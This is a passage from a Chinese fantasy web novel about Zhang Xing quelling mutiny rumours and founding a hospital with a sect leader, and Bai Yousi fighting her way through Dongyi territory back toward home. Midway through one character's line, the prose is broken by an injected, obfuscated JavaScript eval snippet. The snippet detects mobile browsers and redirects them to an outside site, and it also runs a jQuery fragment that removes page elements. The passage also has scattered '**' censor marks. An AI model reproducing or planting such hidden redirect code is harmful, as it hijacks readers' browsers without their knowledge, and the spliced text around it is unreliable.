白有思思索片刻,便也想到,是不是也可以与王振、马平儿这些人,甚至更下面的人写信做安慰呢?黜龙帮主力在中原大胜,进入整备而已,便已经这般人心惶杂了,自己这里情况更差,却不晓得人心已经落到什么样子了。 正想着呢,再往下看,却又失笑。 “我这里人心长草,却不免想到,你那里恐怕更加艰苦。 不过,这两者肯定是截然不同的。 我这里是大局稳定下,许多人对个人前途在明确新局势下的不适应和不安,你那里却似乎会更计较于整体局势的发展情况,是对整体前途的迷茫与惶恐。 我人不在那里,不好与你做分析,但还是要提醒你,有时候纠结于特定的人,不如自己及早做出表率,明确方向。毕竟,你在那里的地位是毋庸置疑的,所有人其实都在看着你。” 白有思抬起头来,望向窗外,而不知道是不是错觉,她也确实觉得,很多人有意无意,都在往自己这间小木屋来看。 是时候了。 “当然,这个建议的前提是你没有与至尊直接为敌,否则他们很容易动摇,这也是你面对的最大一个困难。 而这同时是我的尴尬之处,你那边的情形我不能及时知晓,所有鼓励都只似隔靴搔痒,所有策略都只如盲人引路,万般艰难都只能靠你一力劈开。 但如果不写信鼓励你,不帮你做分析,那便是真的无能为力了。 思思,天下大乱,纷争不断,你不可能一直藏剑,我也永远不会忘记当日见你出剑扫荡,一击而定的样子。阡陌之间,花开叶绿,人世悲喜不断,我也想与你一同来看。 我想你了。” 我也想你了,白有思心中默念,久久没有放下手中书信。 一直到窗外有人来言:“白三娘也有这般儿女态吗?” 白有思面色不变,从容反问:“大都督不曾年轻过吗?” 郦子期不知在何处一声叹气:“如此说来,王元德信里说的是真的了,你不愿意去妖岛?” “去妖岛?”白有思收起书信,蹙眉来问。“去妖岛做什么?此间数万士民,自我以下,不都盼着回家吗?大都督为何要我们去妖岛?” 郦子期许久没有吭声。 而白有思早已经走了出来,却是拎着长剑对着木屋前纷纷来看的下属下达了命令:“今晚之前告诉所有人,我们明日启程,走陆路,过落龙滩,回登州!” 郦子期负着手,立在门外窗边,一声不吭看着这一幕,只海风阵阵,越来越大,将他白发卷起。 “白三娘,海上尚安,可若不走,就要起风暴了。”终于,郦子期开口了,既是提醒,又是警告。 “我不会将这些人送到妖岛再做背井离乡。”白有思回过身来,抱着长剑与对方面对面相告。“我自己也不会将自己掷于什么命定之地!时代变了,大都督,不是几百年前靠真火占卜来定天意的时候了,当今之世,人心既天意。我们此举,是代天而为二,你若一意孤行,我等数万之众,虽拼却性命,也总能逃出去几个人,向天下昭告你这逆天之罪了!” 郦子期还未及言语,营地内却已经渐渐喧哗,乃至于沸腾起来,声势已然压过了海风。 很显然,所有人都知道了,他们要启程回家了。 第三十七章归来行(3) 在经历了雨水与酷暑之后,济水流域的天气渐渐没有之前那么热了,田野也开始由青绿转为青黄,而就在这个时候,济阴城内忽然出了一档子天灾……具体来说是起了一阵大风。 大风范围只济阴城及其周边,这点从城外渐渐成熟却没有倒伏的庄稼就能看出来,时间也短,只持续了半个时辰,但威力极强,当场吹落了许多瓦片,还吹倒了郡府周边数棵大树,其中一棵大树倒下后还砸倒了张行及其幕属经常呆的郡府公房围墙,那棵树的树尖更是直直的指向了墙内。 根本不需要精通青帝爷的《太玄经》,大部分人都能说个一二,晓得这在风水局里唤做祸起腹心。 张行一开始没有在意,极端天气嘛,风灾嘛,有什么可计较的? 然而,不知道是不是就如张首席之前信中所表示的那般,连续四年的军事**斗争,尤其是之前一年堪称连续高强度作战,突然闲下来,许多人都心里长草。 一时间,周遭内外竟流言四起,且迅速扩散开来。 连地头都走了的张行这时候不能置之不理,但他也不大可能多么认真对待这件事情,因为周行范已经到了,他正准备带着小周去见已经在谯郡现身的那位千金教主。 就连谢鸣鹤都在前方的淮阳郡边界等着他呢。 所以,也就是听一听。 “不瞒首席,主要是说有人会**……”主动来汇报的张亮显得有些小心翼翼,汇报地点也因为公房的维修变成了郡府后院。 “谁?什么时候?怎么**?”坐在院中树下石桌后的张行认真问道。 “不好说。”张亮既小心又有些尴尬,额头也湿津津的。“都是些流言,而且各种流言都有,但主要是说济阴行台这里的一些头领,也就是原来跟着李枢的那些人,然后说,首席这一次对他们赏罚不公,所以要**……” “具体一点。”张行将冰镇的酸梅汤推了过去。“如何赏罚不公?” 张亮接过来灌了一口,方才放松来言:“具体是指单龙头那里,这次立了功,却要被伍大头领割出去谯郡建一个新行台,这事虽然还没做,但大家都已经知道,单龙头自然不满。还有之前的翟氏兄弟,翟大被罚了兵权……就有传言说,之前跟着李枢厮混的那些头领,都要被夺兵权。” “之前跟着李枢还领兵的,总共有几个营?”张行若有所思。 “除了翟大,还有小房房彦释,外加丁盛映、黄俊汉、常负等头领。”张亮分不清对方是询问还是嘲讽,只能赶紧做答。“非要计较的话,单龙头也算……但小房头领人和兵都在河北没动。” “也就是原济阴行台这些人因为战后措施不满,再加上之前有李枢的旧账目,担心我秋后报复?”张行想了一想,不由反问。 “是有这个意思……”张亮愈发小心。 “那流言中他们要用什么手段制我呢?”张行几乎没有半点停顿。 “手段就五花八门了。”张亮干笑道。“但大多是说要趁着首席的心腹都回河北,而首席独自在济阴,然后抓住首席独处或者从河南回河北路过东郡的空档,发兵突袭。” “他们没考虑修为吗?”就坐在张行侧后树荫下周行范,也是之前张亮有些尴尬的部分缘由所在,忽然插嘴来问。“这些人里,修为最高的不过是单龙头的成丹吧?也没听说近来证了宗师……” “他不是凝丹吗?”张行诧异来问。 “那都什么时候事情了。”小周正色纠正。“应该之前打河北的时候他就成丹了……反正年初他渡河作战杀了那姓丁的都尉时候,那手段,便是成丹无误了……不过那也不够,三哥虽说是成丹,但黑帝点选的能耐在哪里,谁都只当三哥是个宗师。” “凝丹跟成丹太难分辨了,得他们自己说。”张行若有所思,却又跑偏了。“是不是该趁这个空档再普查一下,弄清楚咱们现在的战力?之前一年太匆忙了,许多人晋升都说不清。” “可行。”小周点头认可。“地方上也要再来一次,把现在的一些准备将放出去,再收一批进来……指望着蒙基的那些孩子,怕还是要再等个三五年。” 张亮在旁听着,莫名也放松下来……很显然,这两位都不曾把这个**当回事。 “是有这个准备,但要放在明年,没看现在一个人事调整就要**吗?”张行一边说一边反过来问张亮。“这个修为上有什么说法吗?他们若把我当宗师,总要对付我这个宗师吧?” “说的最多的是他们会联络司马正。”张亮说着也笑了。“还有说跟南面那位千金教主有联络的,再有说是崔傥见薛常雄不能成事,又报仇心切,便在离开薛常雄后寻到了王怀通,俩人联手……还有说是,这些人都会出手,而李枢是发起人……当然,下毒肯定是有的。” “李枢……”张行若有所思。 张亮见状,一时犹疑。 “这些都是胡扯,无凭无据的当真了反而被人嘲笑,关键是李枢。”小周在身后幽幽开口。“李枢还在,他们就有个由头,路人扯闲篇都能有个由头……三哥,黜龙帮的经历就在那里,李枢的影响也摆在那里,不是罢免了就能躲掉的,不说别的,人家比你还早认识济水群豪,又在济阴做了好几年的龙头,帮内那些起头的首义文士文修更是受他知遇之恩……你得当一回事,切莫爱惜羽毛,酿成大祸。” 张亮愈发心动,便要言语。 “我若是不把他当一回事,当日也不这么急主动往河北去了。”张行摆手示意。“现在的计较是,若秋后算账,又撞到济阴行台这里人心稍有不稳,怕反而弄巧成拙,更不要讲你也说了,我确系爱惜羽毛,不愿意轻易坏了名头,也免得兄弟们心寒。” 周行范点了点头,张亮也只不言。 张行便对张亮下了命令:“小心留意,既不要把这些流言当一回事,也不要不当一回事,跟张金树两边通着气,待我南下回来,便与济阴的几位头领聚一聚,安抚一下人心……若遇到麻烦和紧急的情况,找不到我就去找雄天王,然后是陈总管。” 张亮也点了下头。 小小插曲,不值一提,大约隔了半个时辰,稍微用了些饭,张行便与周行范一起出发,门口迎上窦小娘领着几十骑,护着一辆辎车,张行亲自弃马上车赶着,载着周行范便往谯郡而去。 且说,周行范之前在河北战中为了掩护主力部队突围,正面迎击大宗师和河间军主力,被重伤到几乎瘫痪,后来虽然挺了过来,却始终不能活动灵便,阴雨燥热,全身骨骼也都疼痛难忍,更不要说修为进展了。 而张行无论如何,都不允许这个自家最根底心腹之一落到李清臣的地步,这也是他一直对那位千金教主战前战后格外优容的缘故。 有求于人嘛。 实际上,秦宝也该来看看的,只不过他伤病明显消除,并不着急,所以先去见老娘和媳妇了。 就这样,一行人行了四五日,沿途走走停停,包括在内侍军那里停了一日,见了王焯,说了些话,然后方才入了谯郡,进抵谷阳,接到了等在这里的谢鸣鹤。 双方见面,并不停顿,却免不了一边并马渡河南下,一边说一说公事。 然而,会盟的消息说完,张行复又惊讶发现,居然连谢鸣鹤都听到了一些“祸起腹心“的流言。 “你从何处听到这些的?”涡河上一座之前东都军搭建的浮桥前,目送着周行范临时换乘板车渡河,张行语调压低,明显警惕。 “淮阳。”谢鸣鹤言简意赅。 “从何处流传过去的?”张行想了一想。 “荥阳。”谢鸣鹤也想了一想。“便不是从东都传过去的,你也要上心才是。” 张行点头,便在浮桥前将之前张亮汇报、自己与周行范言语都讲了一遍。 谢鸣鹤听完微微皱眉:“若是这般,此事就只是个笑话了……但周大头领杀性如何这般大?是受伤不得屈伸的缘故吗?” “未必是受伤不得屈伸。”张行摇头。“他本是南朝将门之后,你难道不晓得,南朝将门几百年都屈伸不得吗?也是为此,耳濡目染,习惯了这般处置风险……而且也不要怪他,他也是为了我着想。” 谢鸣鹤难得面色一红……因为他倒是听出来这张三的例行嘲讽了。 南朝将门哪里是习惯这般处置风险,分明是习惯了被当做风险这般处置……而且处置这些南朝将门的,恰恰是他谢鸣鹤身后的南朝世族。 不过不知道为什么,近来有些疲态的谢鸣鹤听到这种许久不见的嘲讽,反而有些亲切,居然精神稍振,只脸红后缓缓来言:“现在赶路,不说这个,等见到那位千金教主,先请他验一验那个风灾的灾异,这解释灾异,难道还有谁比大宗师说的更算数吗?他若开了口,下面的留言就散了三四分。” “也是个法子。”张行点头。 二人随即牵马登上浮桥。 孰料,二人押后走到一半,谢鸣鹤忽然止步,然后略显怪异来看身侧之人:“不对。” “什么不对?”张行一时不解,却也在河中半道驻足。 “你不对……”谢鸣鹤正色道。“这种事情的根本如何是李枢?李枢不过是个由头。” 张行点点头。 “所以你难道就没有个正经想法?”谢鸣鹤继续来问。“为何当时只是敷衍?” “小周正在伤病中,你也说了,他屈伸不得,我便不想让他多耗费心神。”张行坦荡来答,同时继续牵马向前。“而且,这事的根本太深了,一时半会也难……” “你倒是心疼他。”谢鸣鹤看了眼前方已经上了河堤的板车,彼处周行范明显自尊心作祟,居然主动下来,让人搀着走上了河堤。“根本是什么?” “是现在的兵制,府兵制。”张行给出了自己的看法。“咱们看起来花里胡哨的,还套了个帮会的壳子,其实就是当日大周**时,霸府**、文法吏外加授田府兵制的套路……只不过更讲究制度和总体罢了。” 谢鸣鹤连连颔首,若非如此,便是他也不会在这里长久的,江都军变便该走的,遑论像崔二郎这些满脑子制度律法之人了。 “只说府兵制,府兵制情况下,其实没有禁军,或者说各处府兵轮番来做禁军,这种情况下,我这个首席,总要暴露在下面各营兄弟跟前的。”张行有些无奈。“而如果想避免这个情况,就是建立所谓禁军,也就是直属我的一支精锐募军,一支可以压制周围各营的募军……可要是这样,这支募军、禁军只会越来越强,最后完全代替府军,就没法发挥出上上下下的战斗力,我也不准备这么做。” “确实如此。”谢鸣鹤已经醒悟。“这都不是两相其害的事情,而是只能忍……真要是此时强行立一支募军做禁军,只怕现在这谣言早就把五六十个营一起裹进来了。” 张行点点头。 “但也不能什么都不做,光看着听着吧?”谢鸣鹤复又觉得不妥。“府兵制只是军权分散,不代表其余的事情不做,既然立了大行台,该有的规矩就该起来了。” 张行还是点点头:“是有计较,但不急,慢慢来……你莫非真以为会出乱子不成?难道我这四年在人心上的辛苦都是白费?” 说话间,二人已经越过了夏末水盛期的涡河,来到了浮桥的尽头。 这个时候,谢鸣鹤犹豫了一下,瞥了张行一眼,开口道:“若是真要歇一阵子,趁着议和已成,我要先告个假,回家一趟……河北薛常雄的事情,交给陈斌、窦立德足够了。” 张行想也不想,直接颔首。 随即,二人一起踏上河堤。 数千里之外,白有思登上了一处绿油油的高坡,然后便眺望起了前方的一座城池。 说是城池,其实更像是一座堡垒,甚至是关隘,两条河流从两侧过来,在城池的南面交汇,然后继续向南流入大海,而在河岔口后方北面,立着一座并不高大的石山,这座城池便是背山临河而起,锁住了河山之间的通衢大道。 实际上,此城便唤做三河城。 坦诚说,一直这一刻白三娘似乎才对城池的重要性有了切身的体会……之前是不一样的,真不一样,从太白峰上下来以后,她就习惯了高来高往,似乎从来都没有什么城池能束缚她,便是在西都与东都城内,她也喜欢在宵禁后飞来飞去,自由自在,而彼时需要注意的仅仅是城内城外那些修为高深却总是安分守己的大宗师、宗师们……也正是因为如此,她一直都对城池的作用有一些怀疑。 但是现在,当身后还有数万之众,还需要考量他们生活的时候,他们每移动一日都要耗费那仅有物资储备一部分的时候,每移动一日内部都要生出无数事端的时候,每移动一日都要遭遇东夷人的骚扰、阻拦与恐吓的时候,白三娘却是非常清楚的意识到,这些曾经被她忽视的城池恐怕是她这次折回中原的重大阻碍之一了。 正想着呢,远处城池外的河岔木桥上驰来数骑,远远落在坡下,却是之前派遣入城的王伏贝。 后者走上来,距离数十步的时候,便再拱手。 “怎么说?”白有思收回心思,正色来问。 “三河城内守将姓郦,叫郦求胜,明显紧张起来了,我跟他说了经过,他只说不信,反而让城池戒备。”王伏贝无奈汇报。 白有思点头:“劳烦王头领再去一趟,就说我请他郦将军当面一叙,必定交待清楚。” 王伏贝心中不解,也有些不满,但还是拱手而去。 又过了足足小半个时辰,身后庞大的队伍的前半部主体也已经出现在坡地后方,而且明显因为前方城池的出现与前卫部队的停顿出现骚动。 这个时候,城内终于又有数十骑驰出,来到了这个小坡上。 “白娘子。”未待王伏贝介绍,郦求胜便主动拱手,却用了个少见的称呼。 “郦将军知道我?”白有思立在坡上,抱着长剑微微笑道。 “自然知道。”郦求胜无奈再度拱手。“白娘子来东夷也有半春一夏了,如何不晓得?” “既晓得,如何不让开道路?”白有思反问道。 “我怎么知道白娘子此行是私自携十万众西行,还是有我家大都督的许可?”郦求胜双手一摊,面色发苦。 白有思点点头,复又摇头:“若无你家大都督许可,我如何能携十万众西行?” 郦求胜一时无语,过了片刻,也跟着摇头:“或许是大都督有难言之隐吧?” “你就没有难言之隐吗?”白有思追问不及。 郦求胜愕然。 王伏贝赶紧来劝:“郦将军,道理很简单,大都督既放我们过来的,那不管他什么缘故,你只要学着他放我们过去,便没有责任,否则出了岔子,总脱不开你的关系……你又何必这般计较呢?我之前只当你不晓得我们白总管事迹。” 郦求胜沉默许久,缓缓摇头:“既如此,可有通关文牒,或者我家大都督手令?” “我自是黜龙帮总管,如何受你家大都督手令?更不要说什么通关文牒!”白有思反问,语气也凛冽不少。 “既如此,我不能放你们过去!”郦求胜鼓起勇气,努力来言。 “阁下心意已决?”白有思蹙眉反问。“黜龙帮与东胜国此时并无冲突,我们一行从根底上也不是敌我,在下委实不愿意刀兵相见。” 郦求胜面色发白:“既如此,只求白三娘看在我主动出城来见的诚意上先放我回去,再做计较。” “既如此,你自回去吧。”白有思摆手示意。 郦求胜一刻都不敢多待,径直下坡,也不敢施展真气腾跃,只是低头上马,匆匆折回。 眼见对方下去,王伏贝赶紧来言:“这人油盐不进,态度古怪,再加上此地距离金鳌城不远,恐怕是得了郦子期言语才故意为难我们。” “正是如此,但他‘既如此’,咱们也只好‘无所谓’了,你去寻程头领一起,整饬前军,准备随我攻城。”白有思懒得计较这些。 王伏贝听到这里,精神大振,赶紧下去了。 另一边,白有思远远眺望,须臾片刻,便见到那郦求胜带着几十骑入城,更是眼见着城上兵甲调度更急促起来,还待要看,却瞅到一处奇怪地方……原来,城外引河水做了一条护城河,护城河上便有吊桥,而那郦求胜入城之后做起防备,竟没有收起吊桥,岂不奇怪? 而看了片刻,眼见着一彪人马又出了城来,白有思一个激灵,晓得对方打算,再加上此时兵马尚在整备,却是毫不犹豫,凌空而起,金色真气溢出,宛若化作一只数丈长的巨凰,便往城前扑去。 城前那支人马,披甲参差,手持锤凿居多,乃是奉命出城去断城外正经河道上的木桥,刚刚走出来,一抬头,便见东方多了个太阳,仔细一看,又仿佛是个宛若巨鸟形状的真龙,早吓得惊惶,纷纷折回,果然抢在对方扑来之前躲回了城门洞里。 刚要庆幸,却发觉四面八方猛地一震,接着就是上方轰隆隆一片,砖石齐下,竟是整个城门楼都塌了下来。 原来,白有思化出宗师特有的真气外显,状若巨凰,只是一扑,居然便把城门楼给扑倒了。 城内郦求胜已经做好布置,此时刚刚登上城内一座守城用的高台,亲眼目睹了这一幕,也是骇的目瞪口呆。结果,白有思一击救下城外桥梁,早瞥见郦求胜在那高台上手持令旗,不由想起刚刚的“既如此”,再加上她自晓得这是郦子期在背后耍的手段,便也恼怒起来。 结果,又是一跃而起,只飞到对方高台侧旁,便挥舞长剑,真气如扇,纷纷割去,宛若切豆腐一般将这个硬木、砖石构建的竖直高台给拦腰切碎,然后足足一丈方圆的高台便也在满城守军的注视下轰隆隆倒塌。 “既如此,让你过了便是!” 郦求胜已经骇到失神,见到对方直接奔自己而来,心中不由冒出这句话,却不料惊吓过度,话到嘴边,居然不能出声,而真气挥来,只凭本能用真气腾跃起来,试图逃窜罢了。 孰料,白有思瞥见这一幕,战斗本能发作,外加真的是许久没动手了,就只抬手一剑,便将对方从空中劈了下来。 劈下来之后,方才醒悟,本该活捉的。 但已经来不及,只一剑,那郦求胜便断成两截落下,内脏更是涂抹了一地。 也是晦气! 当然,回到眼前,只说今日这一关,结果还是好的,城内上下军士不过千余,目睹了这白娘子一扑、一挥、一劈,宗师之威一至于斯,余下不能说跪倒便降,却也是随着白有思宣布军队不入城而变的乖巧起来。 城外的道路变得通畅,城内也“自愿”为路过的这支庞大队伍补充了一定军械和粮食。 三河城这一关,竟也是**来。 眼看着队列花费了两日,才从三河城这里过去,城内如释重负,复又飞驰出数骑,往各处通报,别处不说,其中两骑,一路向北,乃是往国都方向而去,却只疾驰了一日夜,便在一处小城被拦住。 那位东夷大都督却正在此处。 非只是他,东夷王族大将王元德也在此处。 两人听完汇报,都有些恍惚与沉默。 半晌,还是王元德来问:“为什么是凤凰?她从何处观想得来?” “正该是凤凰,这就对上了。”郦子期幽幽以对。“天下真龙形态各异,状兽、状禽、状鱼蛇,而赤帝一系便多状禽……这说明白三娘观想的是自己,或者是某个人,所谓观人而成己……由此看来,她果然是赤帝娘娘的点选,甚至关系更近。” 王元德状若讪讪:“若早知道是至尊钦点,我也不会无端插手了。” 郦子期缓缓摇头,难得有几分怨气:“你便是知道,恐怕也会插一手,只要让我难做,不管于大局于你是否得利,又或者牵扯到谁,你总是乐意的。” 王元德不由干笑一声,却又反问:“大都督既然知晓我是个看不到大局的,当日为何还是要放走她呢?” 郦子期闭目一叹,方才开口:“因为这件事太麻烦了……若是论天不论人,她白三娘是至尊钦点的妖岛主人,可人家自家不愿意,便是至尊的一厢情愿;若是论人不论天,便是人家遭了风灾落在我们这里,咱们现在又没有跟黜龙帮翻脸的道理,本该和和气气的送回去,结果却无端扣了人家;而最麻烦的,却是我们并非当事之人,只是受‘人’之托,就好像外人掺和人家父子母女家事一般,莫说本不想掺和,便是真要掺和,也是剪不断理还乱,不晓得该如何下手,也不知道该轻该重?所以,当日才闭口不言,任她走了。” “确实,真要是打杀了。”王元德眯着眼对道。“不要说黜龙帮就此成为生死仇人,便是两位至尊那里的差事,也是十成十的做坏了……不过,真要放任他们走的话,让后路关卡城池放行如何?省的他们落到郦将军的地步?” “当然也不行,那便是明摆着跟两位至尊对着干了。”郦子期看着眼前人,严肃提醒。 “大都督的主意是什么?”王元德想了一想,回避了对方的警告,继续来问。 “若是她孤身走了,咱们是真没办法,但她雄心万丈,自作聪明,大包大揽,非要取了俘虏、流人,加上她自家带来的五营兵,一支船队,这便是一支差不多快十万众的大队了……我们要做的,便是沿途阻碍她,拖延她……十万之众,便是沿途割豆粟,也只会更耽误时间,算是饮鸩止渴……只是可惜,我明明叮嘱了求胜,他却自作聪明,迟迟不愿毁桥,反而出城相见。” “不说这个……若是拖垮她,她径直走了怎么办?” “真走了就真走了,咱们反而没责任了,不过看她的样子,便是真垮了,她也要带走那五营兵的……” 王元德想了想,缓缓颔首,然后追问:“然后呢?” “然后五营兵到了落龙滩,就不是我们的事情了。”郦子期平静叙述。 “便是她带着十万之众到了落龙滩,不也行吗?”王元德话语虽然轻佻,但语气也慎重了不少。 “那我们拿什么去交卸差事呢?”郦子期淡然做答。“总得做些事情吧?” “大都督也要敷衍行事吗?”王元德摇头不止。 郦子期同样摇头不止:“不是敷衍,是尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167992|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人事听天命……这事不该如此吗?” 王元德沉默了一会,忽然冷笑:“事事都该如此吗?” 郦子期这次没有吭声。 王元德则站起身来,负手走到堂门处,歪着头眯眼看着外面的大好夏末风光,然后忽然回头,平淡告知:“大都督说我事事都与你作对,这件事情,我大约还是支持大都督的……咱们就一起尽尽人事吧!后面的路途经过,我也会尽量帮忙的。” 说完,便走了出去。 “所以说,东夷人不敢打过来,不止是自家虚弱,还有担心分山君的缘故?”树荫下,张行一时没有反应过来。“可我们没有敕龙碑啊,惊龙剑便是用上了,又如何确保分山君替我们做阻挡?” “不用敕龙碑。”千金教主坐在树根那里,一时捻须失笑。“分山君只要惊动真身,便要往落龙滩去迎敌的,就好像避海君一出来,也要去那里迎敌一般。” 还有这机制?但似乎又有些合乎情理和认知。 张行心下一惊,却还是摇头:“可还是不对,我们便是有一把惊龙剑,可如何惊,往哪里去惊,都不晓得。” “等你这东境之主成了宗师,便晓得如何惊了,没有惊龙剑也能惊。”千金教主继续笑道。“再说了,便是你不晓得,东夷人知道你不晓得吗?” “是了,他们总得以我们能惊动分山君做考量。”张行恍然。“我还以为他们是战后虚弱呢。” “也确实虚弱,但未必到了那份上,到那份上也只会觉得中原更虚弱。”千金教主点头认可。“不过除了分山君,东夷人还有个大问题,那就是贵种林立,天然喜欢内斗,现在的那位大都督自成一派,王族必然不服,免不了相互掣肘……” 张行点了点头,若有所思,然后忽然来问:“本是闲谈,孙教主为何教导我这些东夷的事情?是要提醒我什么吗?” 孙思远一愣,并未直接做答。 张行干脆挑明:“年初时,河北大战,我妻白有思举兵乘船北上接应我时,半路被奇风吹到东夷,到了彼处,东夷上下形容古怪,仿佛此事是早有安排,孙教主知道此事首尾吗?” 孙思远沉默片刻,反问回来:“张首席以为此事是什么首尾呢?” 张行也不客气,便将自己与白有思猜想托出:“按照白帝爷那边给我的说法,每有天地气运出,四御便去盗取,然后分割使用,或落地为人,或投入地方,或指定使用,便是各家的所谓点选……思思不会是青帝爷或赤帝娘娘点选吧?所以被风卷走却又态度暧昧?只是这也奇怪,她不是关陇名族之后吗?” 身后第一次听到这个的谢鸣鹤明显惊异,却没有吭声。 孙思远干笑了一声:“说不得白三娘是在南方出生的呢。” “所以,这件事如果是赤帝娘娘所为,孙教主身为真火教教主,却不知道其中详情吗?”张行继续追问。 “我早许多年就因为南陈覆灭引发的教中大乱而退位了,那件事不止是帮众疏远了我,赤帝娘娘也似乎怨了我,从此少有旨意。”孙思远被逼到墙角,到底遮掩不得。“现在的事情,可能要问现在真火教,甚至是专职看管真火的女冠们了。” 这就是相当于承认了。 而既承认了,张行也不好再逼迫过甚,便在犹豫之后转移了话题:“若是这般,孙教主现在可还会为真火教前途做考量呢?” “张首席何意?”孙思远立即严肃起来。 “两个事情。”张行摊开来讲。“其一,孙教主既要在淮北重新立塔,按照我们前两日的议论,建医学院对医术进行传承,建医院大规模治病救人,这种合天下大义之事,我们自然是要拼了命来帮忙的,但不知道孙教主会不会趁机传教?如果传教,会不会被南方的真火教以为你在**教众?” 孙思远沉默片刻,不由反问:“张首席觉得我们可以传教吗?” “当然可以。”张行坦然应许。“真火教是四御正传,哪里有禁的道理?只是若真在淮北成了气候,另起了炉灶,孙教主不能怪我们**真火教才好。” 孙思远点点头:“我自北上,如何能怨你们?若淮南怪起来,也只是我一人负担。” 张行点头,继续提醒: “其二,真火教在江南的事情我其实略有耳闻,如看管真火的女冠,倒无所谓,可真火教的主脉,也就是现任教主操师御统率的部分,却是专心武斗的,包括另一支不承认自己是真火教一脉,实际上也混在荆襄义军中,甚至两家还有争斗……我不是说内斗的事情,而是说,据我观察,这些人行事草率,做事要么过于幼稚,要么只懂诡计,甚至整个江南的义军都有些不成器,将来若有交锋,不免玉石俱焚,到时候孙教主该如何自处呢?” 孙思远再度沉默了一阵子,却还是反问:“张首席以为我该如何?” “首先是孙教主身为大宗师,本质上无人可制,你非要如何,我也没办法,但还是希望如果两家相争,孙教主能继续坚持中立。”张行说出了自己的条件。“不过,如果孙教主真的斩不断香火情,非要如何的话,我希望孙教主能大度开阔一些,先卸任医院院长与医学院院长,然后回到南方,再以私人身份行事……换言之,要公私分明,坦坦荡荡。” 孙思远想了一下,一声叹气:“若是这个说法,其实公允,老夫无话可说,自当遵从。” “不敢说让孙教主遵从。”张行赶紧解释。“而是我们这几日亲眼看了教主的医术和医德,真心觉得孙教主能来淮北立塔,是我们千金难换的机会,也正是因为如此,所以才要反复思索可能会让此事没有个好结果的地方……所谓预则立不预则废,大约如此。” “是这个道理。”孙思远点点头,复又低头去看身前几张纸,那是今日对方过来一开始便交付的几个条文,不免再度感慨起来。“我来之前听张夫子说过张首席,等动身后更是耳朵都听出茧子了,但还是没想到张首席做的这般滴水不漏,而且还这般大度……” 说着,却将手一抬,那几张他们已经讨论过的纸便直接飘起,夏风阵阵,也不能丝毫吹乱,直飘到身后说是木屋更像是敞门棚子里面去了。 不一会,屋内一人低头走出来,身形极高极大,比之伍常在还要大一号,宛若巨人,却只穿着一件粗布短衣,正是之前据说在江都**中消失的前徐州总管、江都留后、宗师来战儿。 来战儿捻着这几张纸走出来,张口便叹:“我觉得挺好,就是一条,要是有人违背这条约怎么办?” 张行苦笑:“若是大宗师违约,或者我们黜龙帮违约,委实没有办法,就是这事情从此不做了一拍两散嘛,因为我们是主要的缔约人,大不了名声臭掉……所以,我也只能说请两位且看将来我们作为。” “我不是这个意思。”来战儿走到前来,端着纸正色道。“我是问,要是医院里有人违约如何?比如你们刚刚说的,传了真火教,里面有人给南面传情报……” “来公。”谢鸣鹤起身道。“这第一条便是医院里的人也要被我们黜龙帮做司法管辖……” “那要是医院的人给黜龙帮做掩护又如何?”来战儿反问。 “什么?”谢鸣鹤一时不解。 “若是那般,被抓住了,医院可以不认。”张行倒是反应的快,迅速给出了回复。 “真到了那个时候,怎么可能不认?”来战儿一声叹气,却又摇头。“也罢,能有这句话,就算给我们余地了。” 张行想了一想,到底是没忍住:“来公,你真要留在这里做医生吗?你若愿意来,总有一席之地,便是不想纷争,依你的威望,回徐州坐镇也让人放心。” “小周去徐州足够了。”来战儿回头看了眼棚子,语气明显柔软起来。“我就算了,天下之大,能容下我的地方其实只有孙**身侧了。” “我懂,我懂。”张行连连点头。“新时代的船已经盛不下旧海贼了。” 这话莫名其妙,谢鸣鹤都向自家首席投来诡异目光……来战儿何时做过海贼?便是**,那也是麦铁棍好不好? 便是孙思远跟来战儿都不知道该如何回复,所幸听懂了对方意思。 “那就这样吧。”张行站起身来,丝毫不在意失言。“我们立即动手,秋后蒙基时便会抽调第一批人来学医,然后同时着手修建医院和学院……至于院址……” “就在这儿吧。”孙思远倒是随性,起身环顾来言。“大战之后的伤病员都在这里,还要处理尸体防止瘟疫,还有之前的军营旧址,若换别处,不免麻烦。” “学院和医院可有名字?”张行继续来问。 “此地在涡河之西,就叫西岸如何?”孙思远脱口而言,内容依旧随意,却显得有些郑重其事。 张行点点头,显然是意识到什么。 就这样,达成最后共识,落到纸面,张行又进去看了下正在修养治疗的小周,双方言语了一阵,看到小周对来战儿怨气已消,心中大安,便决定回去处置这几日愈发激烈的流言之事。 便是谢鸣鹤来之前也做好准备,这边一做完最后的交涉就立即回乡。 最后,将窦小娘一组巡骑留下,以作医院的建备联络之后,张行与谢鸣鹤便一起打马离开。 然而,二人越过浮桥,来到东岸,即将背道而行南北时,谢鸣鹤忽然想起一件事情:“首席,你是不是忘了一件事情?” 张行一愣,旋即醒悟,却又失笑摇头:“无所谓的事情,没必要再折回去走一遭。” 谢鸣鹤点点头,也就不再计较,却觉得哪里不对劲……张行一开始其实是问了风灾的事情,结果那孙教主避而不谈,反而说了一堆东夷的事情,最后真就扯到至尊和真龙搅局的地步了,现在张行复又对风灾避而不谈……这风,不会真是什么至尊发怒的征兆吗? 一念至此,谢鸣鹤犹豫了一下,主动建议:“我不着急回家,且送你回河北见过陈斌再走如何?” 张行原本骑在黄骠马上不动,此时闻言,也不由失笑,却又问了对方一个奇怪的问题:“老谢,天下无不是至尊……是也不是?” 谢鸣鹤想了一想,给出自己答复:“莫说无不是的至尊,依着我来看,几乎算得上无不是的大宗师了,就现在这些大宗师,哪个做的事情没有说法……便是白横秋、曹林难道没有定国安邦之志?只是立场不同、路径不同,可以视为仇雠罢了。” 张行点头,复又来笑:“既如此,你自回石头城便是,何必担忧?” 谢鸣鹤醒悟过来,点点头,终于不再计较,打马南下。 张行也勒马北上。 又过了两三日,张行从容回到济阴城内,果然一切风平浪静,之前风灾也仿佛真就是寻常风灾,流言也因为秋收即将到来而有销声匿迹之态。 